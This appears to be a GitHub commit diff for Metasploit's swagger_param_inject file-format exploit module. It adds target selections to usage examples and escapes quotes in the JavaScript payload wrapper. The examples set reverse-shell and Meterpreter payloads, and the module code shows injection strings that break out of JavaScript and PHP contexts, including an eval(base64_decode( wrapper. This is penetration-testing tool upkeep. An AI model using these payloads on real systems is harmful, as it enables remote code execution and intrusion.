File tree Expand file tree Collapse file tree 2 files changed +5
-1
lines changed
documentation/modules/exploit/multi/fileformat
modules/exploits/multi/fileformat Expand file tree Collapse file tree 2 files changed +5
-1
lines changed Original file line number Diff line number Diff line change @@ -33,6 +33,7 @@ This attack injects a payload into javascript by terminating a URL path string.
33
33
```
34
34
35
35
use exploit/multi/fileformat/swagger_param_inject
36
+ set TARGET 0
36
37
set PAYLOAD nodejs/shell_reverse_tcp
37
38
set INFO_VERSION "1.0.0"
38
39
set SWAGGER_HOST "localhost"
@@ -47,6 +48,7 @@ This attack injects a payload into PHP multiline comment area.
47
48
```
48
49
49
50
use exploit/multi/fileformat/swagger_param_inject
51
+ set TARGET 1
50
52
set PAYLOAD php/meterpreter/reverse_tcp
51
53
set SWAGGER_HOST "localhost"
52
54
run
@@ -60,6 +62,7 @@ This attack injects a payload into ruby multiline comment area.
60
62
```
61
63
62
64
use exploit/multi/fileformat/swagger_param_inject
65
+ set TARGET 3
63
66
set PAYLOAD ruby/shell_reverse_tcp
64
67
set SWAGGER_HOST "localhost"
65
68
run
@@ -73,6 +76,7 @@ This attack injects a payload into Java by terminating a URL path string.
73
76
```
74
77
75
78
use exploit/multi/fileformat/swagger_param_inject
79
+ set TARGET 2
76
80
set PAYLOAD java/jsp_shell_reverse_tcp
77
81
set SWAGGER_HOST "localhost"
78
82
run
Original file line number Diff line number Diff line change @@ -130,7 +130,7 @@ def exploit
130
130
payload_loc = 'PATH'
131
131
payload_prefix = "/a');};};return exports;}));"
132
132
payload_suffix = "(function(){}(this,function(){a=function(){b=function(){new Array('"
133
- wrapped_payload = payload_prefix + payload . encoded + payload_suffix
133
+ wrapped_payload = payload_prefix + payload . encoded . gsub ( /"/ , '\\"' ) + payload_suffix
134
134
when 'php'
135
135
payload_loc = 'INFO_DESCRIPTION'
136
136
payload_prefix = "*/ namespace foobar; eval(base64_decode('"
You can’t perform that action at this time.
0 commit comments